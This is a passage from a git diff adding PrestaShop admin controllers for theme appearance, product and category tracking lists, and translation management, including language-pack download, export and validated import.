return; + + $id_theme = (int)Tools::getValue('id_theme'); + if ($id_theme && $this->context->shop->id_theme != $id_theme) + { + $this->context->shop->id_theme = $id_theme; + $this->context->shop->update(); + $this->redirect_after = self::$currentIndex.'&token='.$this->token; + } + } + + protected function uploadIco($name, $dest) + { + if (isset($_FILES[$name]['tmp_name']) && !empty($_FILES[$name]['tmp_name'])) + { + // Check ico validity + if ($error = ImageManager::validateIconUpload($_FILES[$name])) + $this->errors[] = $error; + + // Copy new ico + elseif (!copy($_FILES[$name]['tmp_name'], $dest)) + $this->errors[] = sprintf(Tools::displayError('An error occurred while uploading favicon: %s to %s'), $_FILES[$name]['tmp_name'], $dest); + } + return !count($this->errors) ? true : false; + } + + public function initProcess() + { + parent::initProcess(); + // This is a composite page, we don't want the "options" display mode + if ($this->display == 'options') + $this->display = ''; + } + + /** + * Function used to render the options for this controller + */ + public function renderOptions() + { + if ($this->fields_options && is_array($this->fields_options)) + { + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->toolbar_scroll = true; + $helper->title = $this->l('Theme appearance'); + $helper->toolbar_btn = array('save' => array( + 'href' => '#', + 'desc' => $this->l('Save') + )); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } +} diff --git a/controllers/admin/AdminTrackingController.php b/controllers/admin/AdminTrackingController.php new file mode 100755 index 0000000..2ccb0c6 --- /dev/null +++ b/controllers/admin/AdminTrackingController.php @@ -0,0 +1,292 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminTrackingControllerCore extends AdminController +{ + protected $_helper_list; + + public function postprocess() + { + if (Tools::getValue('id_product') && Tools::isSubmit('statusproduct')) + { + $this->table = 'product'; + $this->identifier = 'id_product'; + $this->action = 'status'; + $this->className = 'Product'; + } + else if (Tools::getValue('id_category') && Tools::isSubmit('statuscategory')) + { + $this->table = 'category'; + $this->identifier = 'id_category'; + $this->action = 'status'; + $this->className = 'Category'; + } + + $this->list_no_link = true; + + parent::postprocess(); + } + + public function initContent() + { + $this->_helper_list = new HelperList(); + + if (!Configuration::get('PS_STOCK_MANAGEMENT')) + $this->warnings[] = $this->l('List of products without available quantities for sale are not displayed because stock management is disabled.'); + + $methods = get_class_methods($this); + $tpl_vars['arrayList'] = array(); + foreach ($methods as $method_name) + if (preg_match('#getCustomList(.+)#', $method_name, $matches)) + { + $this->clearListOptions(); + $this->content .= call_user_func(array($this,$matches[0])); + } + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function getCustomListCategoriesEmpty() + { + $this->table = 'category'; + $this->lang = true; + $this->className = 'Category'; + $this->identifier = 'id_category'; + $this->_orderBy = 'id_category'; + $this->_orderWay = 'DESC'; + $this->_list_index = 'index.php?controller=AdminCategories'; + $this->_list_token = Tools::getAdminTokenLite('AdminCategories'); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowAction('view'); + $this->addRowActionSkipList('delete', array(Category::getTopCategory()->id)); + $this->addRowActionSkipList('edit', array(Category::getTopCategory()->id)); + + $this->fields_list = (array( + 'id_category' => array('title' => $this->l('ID'), 'width' => 50), + 'name' => array('title' => $this->l('Name'), 'filter_key' => 'b!name'), + 'description' => array('title' => $this->l('Description')), + 'active' => array('title' => $this->l('Status'), 'type' => 'bool', 'active' => 'status', 'width' => 50) + )); + $this->clearFilters(); + + $this->_join = Shop::addSqlAssociation('category', 'a'); + $this->_filter = ' AND a.`id_category` NOT IN ( + SELECT DISTINCT(cp.id_category) + FROM `'._DB_PREFIX_.'category_product` cp + ) + AND a.`id_category` != '.(int)Category::getTopCategory()->id; + + $this->tpl_list_vars = array('sub_title' => $this->l('List of empty categories:')); + + + + return $this->renderList(); + } + + public function getCustomListProductsAttributesNoStock() + { + if (!Configuration::get('PS_STOCK_MANAGEMENT')) + return; + + $this->table = 'product'; + $this->lang = true; + $this->identifier = 'id_product'; + $this->_orderBy = 'id_product'; + $this->_orderWay = 'DESC'; + $this->className = 'Product'; + $this->_list_index = 'index.php?controller=AdminProducts'; + $this->_list_token = Tools::getAdminTokenLite('AdminProducts'); + $this->show_toolbar = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_product' => array('title' => $this->l('ID'), 'width' => 50), + 'reference' => array('title' => $this->l('Reference'), 'width' => 150), + 'name' => array('title' => $this->l('Name'), 'filter_key' => 'b!name'), + 'active' => array('title' => $this->l('Status'), 'type' => 'bool', 'active' => 'status', 'width' => 50) + ); + + $this->clearFilters(); + + $this->_join = Shop::addSqlAssociation('product', 'a'); + $this->_filter = 'AND a.id_product IN ( + SELECT p.id_product + FROM `'._DB_PREFIX_.'product` p + '.Product::sqlStock('p').' + WHERE p.id_product IN ( + SELECT DISTINCT(id_product) + FROM `'._DB_PREFIX_.'product_attribute` + ) + AND IFNULL(stock.quantity, 0) <= 0 + )'; + + $this->tpl_list_vars = array('sub_title' => $this->l('List of products with attributes but without available quantities for sale:')); + + + + return $this->renderList(); + } + + public function getCustomListProductsNoStock() + { + if (!Configuration::get('PS_STOCK_MANAGEMENT')) + return; + + $this->table = 'product'; + $this->className = 'Product'; + $this->lang = true; + $this->identifier = 'id_product'; + $this->_orderBy = 'id_product'; + $this->_orderWay = 'DESC'; + $this->show_toolbar = false; + $this->_list_index = 'index.php?controller=AdminProducts'; + $this->_list_token = Tools::getAdminTokenLite('AdminProducts'); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_product' => array('title' => $this->l('ID'), 'width' => 50), + 'reference' => array('title' => $this->l('Reference'), 'width' => 150), + 'name' => array('title' => $this->l('Name')), + 'active' => array('title' => $this->l('Status'), 'type' => 'bool', 'active' => 'status', 'width' => 50) + ); + $this->clearFilters(); + + $this->_join = Shop::addSqlAssociation('product', 'a'); + $this->_filter = 'AND a.id_product IN ( + SELECT p.id_product + FROM `'._DB_PREFIX_.'product` p + '.Product::sqlStock('p').' + WHERE p.id_product NOT IN ( + SELECT DISTINCT(id_product) + FROM `'._DB_PREFIX_.'product_attribute` + ) + AND IFNULL(stock.quantity, 0) <= 0 + )'; + + $this->tpl_list_vars = array('sub_title' => $this->l('List of products without attributes and without available quantities for sale:')); + + return $this->renderList(); + } + + public function getCustomListProductsDisabled() + { + $this->table = 'product'; + $this->className = 'Product'; + $this->lang = true; + $this->identifier = 'id_product'; + $this->_orderBy = 'id_product'; + $this->_orderWay = 'DESC'; + $this->_filter = 'AND product_shop.`active` = 0'; + $this->list_no_filter = true; + $this->tpl_list_vars = array('sub_title' => $this->l('List of disabled products:')); + $this->show_toolbar = false; + $this->_list_index = 'index.php?controller=AdminProducts'; + $this->_list_token = Tools::getAdminTokenLite('AdminProducts'); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_product' => array('title' => $this->l('ID'), 'width' => 50), + 'reference' => array('title' => $this->l('Reference'), 'width' => 150), + 'name' => array('title' => $this->l('Name'), 'filter_key' => 'b!name') + ); + + $this->clearFilters(); + + $this->_join = Shop::addSqlAssociation('product', 'a'); + return $this->renderList(); + } + + + public function renderList() + { + $this->processFilter(); + return parent::renderList(); + } + + public function displayEnableLink($token, $id, $value, $active, $id_category = null, $id_product = null) + { + $this->_helper_list->currentIndex = $this->_list_index; + $this->_helper_list->identifier = $this->identifier; + $this->_helper_list->table = $this->table; + + return $this->_helper_list->displayEnableLink($this->_list_token, $id, $value, $active, $id_category, $id_product); + } + + public function displayDeleteLink($token = null, $id, $name = null) + { + $this->_helper_list->currentIndex = $this->_list_index; + $this->_helper_list->identifier = $this->identifier; + $this->_helper_list->table = $this->table; + + return $this->_helper_list->displayDeleteLink($this->_list_token, $id, $name); + } + + public function displayEditLink($token = null, $id, $name = null) + { + $this->_helper_list->currentIndex = $this->_list_index; + $this->_helper_list->identifier = $this->identifier; + $this->_helper_list->table = $this->table; + + return $this->_helper_list->displayEditLink($this->_list_token, $id, $name); + } + + protected function clearFilters() + { + if ((Tools::isSubmit('submitResetcategory') && $this->table == 'category' ) || (Tools::isSubmit('submitResetproduct') && $this->table == 'product' )) + $this->processResetFilters(); + } + + public function clearListOptions() + { + $this->table = ''; + $this->actions = array(); + $this->lang = false; + $this->identifier = ''; + $this->_orderBy = ''; + $this->_orderWay = ''; + $this->_filter = ''; + $this->_group = ''; + $this->_where = ''; + $this->list_no_filter = true; + $this->list_title = $this->l('Product disabled'); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, Context::getContext()->shop->id); + } +} + diff --git a/controllers/admin/AdminTranslationsController.php b/controllers/admin/AdminTranslationsController.php new file mode 100755 index 0000000..3456183 --- /dev/null +++ b/controllers/admin/AdminTranslationsController.php @@ -0,0 +1,2751 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define ('TEXTAREA_SIZED', 70); + +class AdminTranslationsControllerCore extends AdminController +{ + /** Name of theme by default */ + const DEFAULT_THEME_NAME = 'default'; + + /** @var string : Link which list all pack of language */ + protected $link_lang_pack = 'http://www.prestashop.com/download/lang_packs/get_each_language_pack.php'; + + /** @var int : number of sentence which can be translated */ + protected $total_expression = 0; + + /** @var int : number of sentence which aren't translated */ + protected $missing_translations = 0; + + /** @var array : List of ISO code for all languages */ + protected $all_iso_lang = array(); + + /** @var array */ + protected $modules_translations = array(); + + /** @var array : List of folder which must be ignored */ + protected static $ignore_folder = array('.', '..', '.svn', '.htaccess', 'index.php'); + + /** @var array : List of theme by translation type : FRONT, BACK, ERRORS... */ + protected $translations_informations = array(); + + /** @var array : List of all languages */ + protected $languages; + + /** @var array : List of all themes */ + protected $themes; + + /** @var string : Directory of selected theme */ + protected $theme_selected; + + /** @var string : Name of translations type */ + protected $type_selected; + + /** @var object : Language for the selected language */ + protected $lang_selected; + + /** @var boolean : Is true if number of var exceed the suhosin request or post limit */ + protected $post_limit_exceed = false; + + public function __construct() + { + $this->multishop_context = Shop::CONTEXT_ALL; + + parent::__construct(); + + $this->table = 'translations'; + + // Include all file for create or read an archive + include_once(_PS_ADMIN_DIR_.'/../tools/tar/Archive_Tar.php'); + include_once(_PS_ADMIN_DIR_.'/../tools/pear/PEAR.php'); + } + + /* + * Set the type which is selected + */ + public function setTypeSelected($type_selected) + { + $this->type_selected = $type_selected; + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + if (!is_null($this->type_selected)) + { + $method_name = 'initForm'.$this->type_selected; + if (method_exists($this, $method_name)) + $this->content = $this->initForm($method_name); + else + { + $this->errors[] = sprintf(Tools::displayError('"%s" does not exist.'), $this->type_selected); + $this->content = $this->initMain(); + } + } + else + $this->content = $this->initMain(); + + $this->context->smarty->assign(array('content' => $this->content)); + } + + /** + * This function create vars by default and call the good method for generate form + * + * @param $method_name + * @return call the method $this->method_name() + */ + public function initForm($method_name) + { + // Create a title for each translation page + $title = sprintf( + $this->l('%1$s (Language: %2$s, Theme: %3$s)'), + $this->translations_informations[$this->type_selected]['name'], + $this->lang_selected->name, + $this->theme_selected + ); + + // Set vars for all forms + $this->tpl_view_vars = array( + 'lang' => $this->lang_selected->iso_code, + 'title' => $title, + 'type' => $this->type_selected, + 'theme' => $this->theme_selected, + 'post_limit_exceeded' => $this->post_limit_exceed, + 'url_submit' => self::$currentIndex.'&submitTranslations'.ucfirst($this->type_selected).'=1&token='.$this->token, + 'toggle_button' => $this->displayToggleButton(), + 'textarea_sized' => TEXTAREA_SIZED, + 'auto_translate' => '' + ); + + // Call method initForm for a type + return $this->{$method_name}(); + } + + /** + * AdminController::initToolbar() override + * @see AdminController::initToolbar() + */ + public function initToolbar() + { + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + ); + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Update translations') + ); + $this->toolbar_btn['cancel'] = array( + 'href' => self::$currentIndex.'&token='.$this->token, + 'desc' => $this->l('Cancel') + ); + } + + /** + * Generate the Main page + */ + public function initMain() + { + // Block add/update a language + $packs_to_install = array(); + $packs_to_update = array(); + $token = Tools::getAdminToken('AdminLanguages'.(int)Tab::getIdFromClassName('AdminLanguages').(int)$this->context->employee->id); + $file_name = $this->link_lang_pack.'?version='._PS_VERSION_; + $array_stream_context = array('http' => array('method' => 'GET', 'timeout' => 5)); + if ($lang_packs = Tools::file_get_contents($file_name, false, @stream_context_create($array_stream_context))) + // Notice : for php < 5.2 compatibility, Tools::jsonDecode. The second parameter to true will set us + if ($lang_packs != '' && $lang_packs = Tools::jsonDecode($lang_packs, true)) + foreach ($lang_packs as $key => $lang_pack) + { + if (!Language::isInstalled($lang_pack['iso_code'])) + $packs_to_install[$key] = $lang_pack; + else + $packs_to_update[$key] = $lang_pack; + } + + $this->tpl_view_vars = array( + 'theme_default' => self::DEFAULT_THEME_NAME, + 'theme_lang_dir' =>_THEME_LANG_DIR_, + 'token' => $this->token, + 'languages' => $this->languages, + 'translations_type' => $this->translations_informations, + 'packs_to_install' => $packs_to_install, + 'packs_to_update' => $packs_to_update, + 'url_submit' => self::$currentIndex.'&token='.$this->token, + 'themes' => $this->themes, + 'id_theme_current' => $this->context->shop->id_theme, + 'url_create_language' => 'index.php?controller=AdminLanguages&addlang&token='.$token, + ); + + $this->toolbar_scroll = false; + $this->base_tpl_view = 'main.tpl'; + return parent::renderView(); + } + + /** + * This method merge each arrays of modules translation in the array of modules translations + */ + protected function getModuleTranslations() + { + global $_MODULE; + $name_var = $this->translations_informations[$this->type_selected]['var']; + + if (!isset($_MODULE) && !isset($GLOBALS[$name_var])) + $GLOBALS[$name_var] = array(); + else if (isset($_MODULE)) + if (is_array($GLOBALS[$name_var]) && is_array($_MODULE)) + $GLOBALS[$name_var] = array_merge($GLOBALS[$name_var], $_MODULE); + else + $GLOBALS[$name_var] = $_MODULE; + } + + /** + * This method is only used by AdminTranslations::submitCopyLang(). + * + * It try to create folder in new theme. + * + * When a translation file is copied for a module, its translation key is wrong. + * We have to change the translation key and rewrite the file. + * + * @param string $dest file name + * @return bool + */ + protected function checkDirAndCreate($dest) + { + $bool = true; + + // To get only folder path + $path = dirname($dest); + + // If folder wasn't already added + // Do not use Tools::file_exists_cache because it changes over time! + if (!file_exists($path)) + if (!mkdir($path, 0777, true)) + { + $bool &= false; + $this->errors[] = sprintf($this->l('Cannot create the folder "%s". Please check your directory writing permisions.'), $path); + } + + return $bool; + } + + /** + * Read the Post var and write the translation file. + * This method overwrites the old translation file. + * + * @param bool $override_file : set true if this file is a override + */ + protected function writeTranslationFile($override_file = false) + { + $type = Tools::toCamelCase($this->type_selected, true); + $translation_informations = $this->translations_informations[$this->type_selected]; + + if ($override_file) + $file_path = $translation_informations['override']['dir'].$translation_informations['override']['file']; + else + $file_path = $translation_informations['dir'].$translation_informations['file']; + + if (!file_exists($file_path)) + { + if (!file_exists(dirname($file_path)) && !mkdir(dirname($file_path), 0777, true)) + throw new PrestaShopException(sprintf(Tools::displayError('Directory "%s" cannot be created'), dirname($file_path))); + elseif (!touch($file_path)) + throw new PrestaShopException(sprintf(Tools::displayError('File "%s" cannot be created'), $file_path)); + } + + if ($fd = fopen($file_path, 'w')) + { + // Get value of button save and stay + $save_and_stay = Tools::getValue('submitTranslations'.$type.'AndStay'); + + // Get language + $lang = strtolower(Tools::getValue('lang')); + + // Unset all POST which are not translations + unset( + $_POST['submitTranslations'.$type], + $_POST['submitTranslations'.$type.'AndStay'], + $_POST['lang'], + $_POST['token'], + $_POST['theme'], + $_POST['type'] + ); + + // Get all POST which aren't empty + $to_insert = array(); + foreach ($_POST as $key => $value) + if (!empty($value)) + $to_insert[$key] = $value; + + // translations array is ordered by key (easy merge) + ksort($to_insert); + $tab = $translation_informations['var']; + fwrite($fd, "<?php\n\nglobal \$".$tab.";\n\$".$tab." = array();\n"); + foreach ($to_insert as $key => $value) + fwrite($fd, '$'.$tab.'[\''.pSQL($key, true).'\'] = \''.pSQL($value, true).'\';'."\n"); + fwrite($fd, "\n?>"); + fclose($fd); + + // Redirect + if ($save_and_stay) + $this->redirect(true); + else + $this->redirect(); + } + else + throw new PrestaShopException(sprintf(Tools::displayError('Cannot write this file: "%s"'), $file_path)); + } + + public function submitCopyLang() + { + if (!($from_lang = Tools::getValue('fromLang')) || !($to_lang = Tools::getValue('toLang'))) + $this->errors[] = $this->l('You must select two languages in order to copy data from one to another.'); + else if (!($from_theme = Tools::getValue('fromTheme')) || !($to_theme = Tools::getValue('toTheme'))) + $this->errors[] = $this->l('You must select two themes in order to copy data from one to another.'); + else if (!Language::copyLanguageData(Language::getIdByIso($from_lang), Language::getIdByIso($to_lang))) + $this->errors[] = $this->l('An error occurred while copying data.'); + else if ($from_lang == $to_lang && $from_theme == $to_theme) + $this->errors[] = $this->l('There is nothing to copy (same language and theme).'); + else + { + $theme_exists = array('from_theme' => false, 'to_theme' => false); + foreach ($this->themes as $theme) + { + if ($theme->directory == $from_theme) + $theme_exists['from_theme'] = true; + if ($theme->directory == $to_theme) + $theme_exists['to_theme'] = true; + } + if ($theme_exists['from_theme'] == false || $theme_exists['to_theme'] == false) + $this->errors[] = $this->l('Theme(s) not found'); + } + if (count($this->errors)) + return; + + $bool = true; + $items = Language::getFilesList($from_lang, $from_theme, $to_lang, $to_theme, false, false, true); + foreach ($items as $source => $dest) + { + $bool &= $this->checkDirAndCreate($dest); + $bool &= @copy($source, $dest); + + if (strpos($dest, 'modules') && basename($source) === $from_lang.'.php' && $bool !== false) + $bool &= $this->changeModulesKeyTranslation($dest, $from_theme, $to_theme); + } + if ($bool) + $this->redirect(false, 14); + $this->errors[] = $this->l('A part of the data has been copied but some of the language files could not be found.'); + } + + /** + * Change the key translation to according it to theme name. + * + * @param string $path + * @param string $theme_from + * @param string $theme_to + * @return boolean + */ + public function changeModulesKeyTranslation($path, $theme_from, $theme_to) + { + $content = file_get_contents($path); + $arr_replace = array(); + $bool_flag = true; + if (preg_match_all('#\$_MODULE\[\'([^\']+)\'\]#Ui', $content, $matches)) + { + foreach ($matches[1] as $key => $value) + $arr_replace[$value] = str_replace($theme_from, $theme_to, $value); + $content = str_replace(array_keys($arr_replace), array_values($arr_replace), $content); + $bool_flag = (file_put_contents($path, $content) === false) ? false : true; + } + return $bool_flag; + } + + public function exportTabs() + { + // Get name tabs by iso code + $tabs = Tab::getTabs($this->lang_selected->id); + + // Get name of the default tabs + $tabs_default_lang = Tab::getTabs(1); + + $tabs_default = array(); + foreach ($tabs_default_lang as $tab) + $tabs_default[$tab['class_name']] = pSQL($tab['name']); + + // Create content + $content = "<?php\n\n\$tabs = array();"; + if (!empty($tabs)) + foreach ($tabs as $tab) + if ($tabs_default[$tab['class_name']] != pSQL($tab['name'])) + $content .= "\n\$tabs['".$tab['class_name']."'] = '".pSQL($tab['name'])."';"; + $content .= "\n\nreturn \$tabs;"; + + $dir = _PS_TRANSLATIONS_DIR_.$this->lang_selected->iso_code.DIRECTORY_SEPARATOR; + $path = $dir.'tabs.php'; + + // Check if tabs.php exists for the selected Iso Code + if (!Tools::file_exists_cache($dir)) + if (!mkdir($dir, 0777, true)) + throw new PrestaShopException('The file '.$dir.' cannot be created.'); + if (!file_put_contents($path, $content)) + throw new PrestaShopException('File "'.$path.'" doesn\'t exists and cannot be created in '.$dir); + if (!is_writable($path)) + $this->displayWarning(sprintf(Tools::displayError('This file must be writable: %s'), $path)); + } + + public function submitExportLang() + { + if ($this->lang_selected->iso_code && $this->theme_selected) + { + $this->exportTabs(); + $items = array_flip(Language::getFilesList($this->lang_selected->iso_code, $this->theme_selected, false, false, false, false, true)); + $gz = new Archive_Tar(_PS_TRANSLATIONS_DIR_.'/export/'.$this->lang_selected->iso_code.'.gzip', true); + $file_name = Tools::getCurrentUrlProtocolPrefix().Tools::getShopDomain().__PS_BASE_URI__.'translations/export/'.$this->lang_selected->iso_code.'.gzip'; + if ($gz->createModify($items, null, _PS_ROOT_DIR_)); + { + ob_start(); + header('Pragma: public'); + header('Expires: 0'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Cache-Control: public'); + header('Content-Description: File Transfer'); + header('Content-type: application/octet-stream'); + header('Content-Disposition: attachment; filename="'.$this->lang_selected->iso_code.'.gzip'.'"'); + header('Content-Transfer-Encoding: binary'); + ob_end_flush(); + @readfile($file_name); + exit; + } + $this->errors[] = Tools::displayError('An error occurred while creating archive.'); + } + $this->errors[] = Tools::displayError('Please select a language and a theme.'); + } + + public static function checkAndAddMailsFiles($iso_code, $files_list) + { + if (Language::getIdByIso('en')) + $default_language = 'en'; + else + $default_language = Language::getIsoById((int)Configuration::get('PS_LANG_DEFAULT')); + if (!$default_language || !Validate::isLanguageIsoCode($default_language)) + return false; + // 1 - Scan mails files + $mails = scandir(_PS_MAIL_DIR_.$default_language.'/'); + + $mails_new_lang = array(); + + // Get all email files + foreach ($files_list as $file) + { + if (preg_match('#^mails\/([a-z0-9]+)\/#Ui', $file['filename'], $matches)) + { + $slash_pos = strrpos($file['filename'], '/'); + $mails_new_lang[] = substr($file['filename'], -(strlen($file['filename']) - $slash_pos - 1)); + } + } + + // Get the difference + $arr_mails_needed = array_diff($mails, $mails_new_lang); + + // Add mails files + foreach ($arr_mails_needed as $mail_to_add) + if (!in_array($mail_to_add, self::$ignore_folder)) + @copy(_PS_MAIL_DIR_.$default_language.'/'.$mail_to_add, _PS_MAIL_DIR_.$iso_code.'/'.$mail_to_add); + + // 2 - Scan modules files + $modules = scandir(_PS_MODULE_DIR_); + + $module_mail_en = array(); + $module_mail_iso_code = array(); + + foreach ($modules as $module) + { + if (!in_array($module, self::$ignore_folder) && Tools::file_exists_cache(_PS_MODULE_DIR_.$module.'/mails/'.$default_language.'/')) + { + $arr_files = scandir(_PS_MODULE_DIR_.$module.'/mails/'.$default_language.'/'); + + foreach ($arr_files as $file) + { + if (!in_array($file, self::$ignore_folder)) + { + if (Tools::file_exists_cache(_PS_MODULE_DIR_.$module.'/mails/'.$default_language.'/'.$file)) + $module_mail_en[] = _PS_MODULE_DIR_.$module.'/mails/ISO_CODE/'.$file; + + if (Tools::file_exists_cache(_PS_MODULE_DIR_.$module.'/mails/'.$iso_code.'/'.$file)) + $module_mail_iso_code[] = _PS_MODULE_DIR_.$module.'/mails/ISO_CODE/'.$file; + } + } + } + } + + // Get the difference in this modules + $arr_modules_mails_needed = array_diff($module_mail_en, $module_mail_iso_code); + + // Add mails files for this modules + foreach ($arr_modules_mails_needed as $file) + { + $file_en = str_replace('ISO_CODE', $default_language, $file); + $file_iso_code = str_replace('ISO_CODE', $iso_code, $file); + $dir_iso_code = substr($file_iso_code, 0, -(strlen($file_iso_code) - strrpos($file_iso_code, '/') - 1)); + + if (!file_exists($dir_iso_code)) + mkdir($dir_iso_code); + + if (Tools::file_exists_cache($file_en)) + copy($file_en, $file_iso_code); + } + } + + /** + * Move theme translations in selected themes + * + * @param array $files + * @param array $themes_selected + */ + public function checkAndAddThemesFiles($files, $themes_selected) + { + foreach ($files as $file) + { + // Check if file is a file theme + if (preg_match('#^themes\/([a-z0-9]+)\/lang\/#Ui', $file['filename'], $matches)) + { + $slash_pos = strrpos($file['filename'], '/'); + $name_file = substr($file['filename'], -(strlen($file['filename']) - $slash_pos - 1)); + $name_default_theme = $matches[1]; + $deleted_old_theme = false; + + // Get the old file theme + if (file_exists(_PS_THEME_DIR_.'lang/'.$name_file)) + $theme_file_old = _PS_THEME_DIR_.'lang/'.$name_file; + else + { + $deleted_old_theme = true; + $theme_file_old = str_replace(self::DEFAULT_THEME_NAME, $name_default_theme, _PS_THEME_DIR_.'lang/'.$name_file); + } + + // Move the old file theme in the new folder + foreach ($themes_selected as $theme_name) + if (file_exists($theme_file_old)) + copy($theme_file_old, str_replace($name_default_theme, $theme_name, $theme_file_old)); + + if ($deleted_old_theme) + @unlink($theme_file_old); + } + } + } + + /** + * Add new translations tabs by code ISO + * + * @param array $iso_code + * @param array $files + */ + public static function addNewTabs($iso_code, $files) + { + $errors = array(); + foreach ($files as $file) + { + // Check if file is a file theme + if (preg_match('#^translations\/'.$iso_code.'\/tabs.php#Ui', $file['filename'], $matches) && Validate::isLanguageIsoCode($iso_code)) + { + // Include array width new translations tabs + $tabs = include _PS_ROOT_DIR_.DIRECTORY_SEPARATOR.$file['filename']; + + foreach ($tabs as $class_name => $translations) + { + // Get instance of this tab by class name + $tab = Tab::getInstanceFromClassName($class_name); + //Check if class name exists + if (isset($tab->class_name) && !empty($tab->class_name)) + { + $id_lang = Language::getIdByIso($iso_code); + $tab->name[(int)$id_lang] = $translations; + + if (!Validate::isGenericName($tab->name[(int)$id_lang])) + $errors[] = sprintf(Tools::displayError('Tab "%s" is not valid'), $tab->name[(int)$id_lang]); + else + $tab->update(); + } + } + } + } + return $errors; + } + + public static function checkTranslationFile($content) + { + $lines = array_map('trim', explode("\n", $content)); + $global = false; + foreach ($lines as $line) + { + // PHP tags + if (in_array($line, array('<?php', '?>', ''))) + continue; + + // Global variable declaration + if (!$global && preg_match('/^global\s+\$([a-z0-9-_]+)\s*;$/i', $line, $matches)) + { + $global = $matches[1]; + continue; + } + // Global variable initialization + if ($global != false && preg_match('/^\$'.preg_quote($global, '/').'\s*=\s*array\(\s*\)\s*;$/i', $line)) + continue; + + // Global variable initialization without declaration + if (!$global && preg_match('/^\$([a-z0-9-_]+)\s*=\s*array\(\s*\)\s*;$/i', $line, $matches)) + { + $global = $matches[1]; + continue; + } + + // Assignation + if (preg_match('/^\$'.preg_quote($global, '/').'\[\''._PS_TRANS_PATTERN_.'\'\]\s*=\s*\''._PS_TRANS_PATTERN_.'\'\s*;$/i', $line)) + continue; + + // Sometimes the global variable is returned... + if (preg_match('/^return\s+\$'.preg_quote($global, '/').'\s*;$/i', $line, $matches)) + continue; + return false; + } + return true; + } + + public function submitImportLang() + { + if (!isset($_FILES['file']['tmp_name']) || !$_FILES['file']['tmp_name']) + $this->errors[] = Tools::displayError('No file has been selected.'); + else + { + $gz = new Archive_Tar($_FILES['file']['tmp_name'], true); + $filename = $_FILES['file']['name']; + $iso_code = str_replace(array('.tar.gz', '.gzip'), '', $filename); + if (Validate::isLangIsoCode($iso_code)) + { + $themes_selected = Tools::getValue('theme', array(self::DEFAULT_THEME_NAME)); + $files_list = $gz->listContent(); + + $uniqid = uniqid(); + $sandbox = _PS_CACHE_DIR_.'sandbox'.DIRECTORY_SEPARATOR.$uniqid.DIRECTORY_SEPARATOR; + if ($gz->extract($sandbox, false)) + { + foreach ($files_list as $file2check) + { + //don't validate index.php, will be overwrite when extract in translation directory + if (pathinfo($file2check['filename'], PATHINFO_BASENAME) == 'index.php') + continue; + + if (preg_match('@^[0-9a-z-_/\\\\]+\.php$@i', $file2check['filename'])) + { + if (!AdminTranslationsController::checkTranslationFile(file_get_contents($sandbox.$file2check['filename']))) + $this->errors[] = sprintf(Tools::displayError('Validation failed for: %s'), $file2check['filename']); + } + elseif (!preg_match('@^[0-9a-z-_/\\\\]+\.(html|tpl|txt)$@i', $file2check['filename'])) + $this->errors[] = sprintf(Tools::displayError('Unidentified file found: %s'), $file2check['filename']); + } + Tools::deleteDirectory($sandbox, true); + } + + if (count($this->errors)) + return false; + + if ($gz->extract(_PS_TRANSLATIONS_DIR_.'../', false)) + { + foreach ($files_list as $file2check) + if (pathinfo($file2check['filename'], PATHINFO_BASENAME) == 'index.php' && file_put_contents(_PS_TRANSLATIONS_DIR_.'../'.$file2check['filename'], Tools::getDefaultIndexContent())) + continue; + + // Clear smarty modules cache + Tools::clearCache(); + + if (Validate::isLanguageFileName($filename)) + { + if (!Language::checkAndAddLanguage($iso_code)) + $conf = 20; + else + { + // Reset cache + Language::loadLanguages(); + + AdminTranslationsController::checkAndAddMailsFiles($iso_code, $files_list); + $this->checkAndAddThemesFiles($files_list, $themes_selected); + $tab_errors = AdminTranslationsController::addNewTabs($iso_code, $files_list); + + if (count($tab_errors)) + { + $this->errors += $tab_errors; + return false; + } + } + } + $this->redirect(false, (isset($conf) ? $conf : '15')); + } + $this->errors[] = Tools::displayError('The archive cannot be extracted.'); + } + else + $this->errors[] = sprintf(Tools::displayError('ISO CODE 